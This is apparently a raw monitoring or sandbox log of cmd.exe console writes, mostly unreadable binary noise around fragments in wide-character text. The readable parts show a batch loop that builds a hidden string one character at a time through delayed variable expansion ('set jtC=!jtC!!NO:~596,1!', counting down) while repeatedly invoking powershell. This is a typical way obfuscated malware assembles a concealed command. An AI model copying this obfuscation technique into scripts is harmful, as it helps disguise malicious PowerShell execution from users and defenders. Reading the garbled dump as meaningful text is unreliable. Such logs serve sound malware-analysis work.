Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..'....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....'..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....'..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....'............................2..@..`.2.(.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.9.6.,.1.!. ...............2..@..`.2.(.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....'..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....'...........................'........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.9.6. .E.Q.U. .0. ..'..............................\....'................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..'....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....'..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....'..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J0.2.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....'............................2..@..`.2.@.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.9.5.,.1.!. ...............2..@..`.2.@.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....(..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....(...........................(........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.9.5. .E.Q.U. .0. ..(..............................\....(................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..(....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...&(..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...-(..........................s.k.t.o.p.>.@..J0.2.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...9(............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.9.4.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...E(..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...K(..........................E(........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.9.4. .E.Q.U. .0. .Q(..............................\...K(................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.W(....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...c(..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...j(...........................?4...0..?4.......4...0...o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...v(............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.9.3.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....(..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....(...........................(........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.9.3. .E.Q.U. .0. ..(..............................\....(................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..(....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....(..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....(..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....(............................2..@..`.2.(.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.9.2.,.1.!. ...............2..@..`.2.(.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....(..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....(...........................(........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.9.2. .E.Q.U. .0. ..(..............................\....(................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..(....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....(..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....(..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J .3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....(............................2..@..`.2.(.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.9.1.,.1.!. ...............2..@..`.2.(.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....(..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....)...........................(........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.9.1. .E.Q.U. .0. ..)..............................\....)................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..)....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....)..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...!)..........................s.k.t.o.p.>.@..J .3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...-)............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.9.0.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...9)..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...?)..........................9)........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.9.0. .E.Q.U. .0. .E)..............................\...?)................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.K)....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...W)..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...^)..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J$.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...j)............................2..@..`.2.@.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.8.9.,.1.!. ...............2..@..`.2.@.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...v)..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...|)..........................v)........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.8.9. .E.Q.U. .0. ..)..............................\...|)................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..)....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....)..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....)..........................s.k.t.o.p.>.@..J$.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....)............................2..@..`.2.H.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.8.8.,.1.!. ...............2..@..`.2.H.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....)..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....)...........................)........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.8.8. .E.Q.U. .0. ..)..............................\....)................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..)....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....)..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....)..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....)............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.8.7.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....)..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....)...........................)........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.8.7. .E.Q.U. .0. ..)..............................\....)................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..*....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....*..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....*..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...!*............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.8.6.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...-*..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...3*..........................-*........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.8.6. .E.Q.U. .0. .:*..............................\...3*................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.@*....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...L*..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...S*..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J,.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\..._*............................2..@..`.2.X.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.8.5.,.1.!. ...............2..@..`.2.X.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...k*..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...q*..........................k*........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.8.5. .E.Q.U. .0. .w*..............................\...q*................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.}*....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....*..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....*..........................s.k.t.o.p.>.@..J,.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....*............................2..@..`.2.X.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.8.4.,.1.!. ...............2..@..`.2.X.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....*..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....*...........................*........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.8.4. .E.Q.U. .0. ..*..............................\....*................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..*....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....*..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....*..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....*............................2..@..`.2.8.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.8.3.,.1.!. ...............2..@..`.2.8.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....*..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....*...........................*........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.8.3. .E.Q.U. .0. ..*..............................\....*................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..*....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....+..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....+..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....+............................2..@..`.2. .3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.8.2.,.1.!. ...............2..@..`.2. .3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\..."+..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...(+.........................."+........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.8.2. .E.Q.U. .0. ..+..............................\...(+................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.4+....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...@+..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...G+..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J4.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...S+............................2..@..`.2.p.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.8.1.,.1.!. ...............2..@..`.2.p.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\..._+..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...e+.........................._+........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.8.1. .E.Q.U. .0. .k+..............................\...e+................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.q+....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...}+..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....+..........................s.k.t.o.p.>.@..J4.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J>.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....+............................2..@..`.2.h.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.8.0.,.1.!. ...............2..@..`.2.h.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....+..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....+...........................+........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.8.0. .E.Q.U. .0. ..+..............................\....+................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..+....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....+..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....+..........................s.k.t.o.p.>.@..J>.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J8.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....+............................2..@..`.2.`.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.7.9.,.1.!. ...............2..@..`.2.`.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....+..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....+...........................+........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.7.9. .E.Q.U. .0. ..+..............................\....+................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..+....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....+..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....+..........................s.k.t.o.p.>.@..J8.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J2.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....,............................2..@..`.2.`.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.7.8.,.1.!. ...............2..@..`.2.`.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....,..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....,...........................,........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.7.8. .E.Q.U. .0. .",..............................\....,................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.(,....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...4,..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...;,..........................s.k.t.o.p.>.@..J2.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J<.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...G,............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.7.7.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...S,..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...Y,..........................S,........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.7.7. .E.Q.U. .0. ._,..............................\...Y,................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.e,....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...q,..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...x,..........................s.k.t.o.p.>.@..J<.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..JN.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....,............................2..@..`.2.x.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.7.6.,.1.!. ...............2..@..`.2.x.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....,..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....,...........................,........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.7.6. .E.Q.U. .0. ..,..............................\....,................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..,....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....,..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....,..........................s.k.t.o.p.>.@..JN.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J`.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....,............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.7.5.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....,..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....,...........................,........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.7.5. .E.Q.U. .0. ..,..............................\....,................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..,....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....,..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....,..........................s.k.t.o.p.>.@..J`.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..Jr.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....,............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.7.4.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....-..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....-...........................-........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.7.4. .E.Q.U. .0. ..-..............................\....-................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..-....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...(-..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\.../-..........................s.k.t.o.p.>.@..Jr.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..JD.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...;-............................2..@..`.2...3.`...`.....*u..2.........9..9........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.7.3.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...G-..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...M-..........................G-........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.7.3. .E.Q.U. .0. .S-..............................\...M-................o.....d.......`I.J....\...
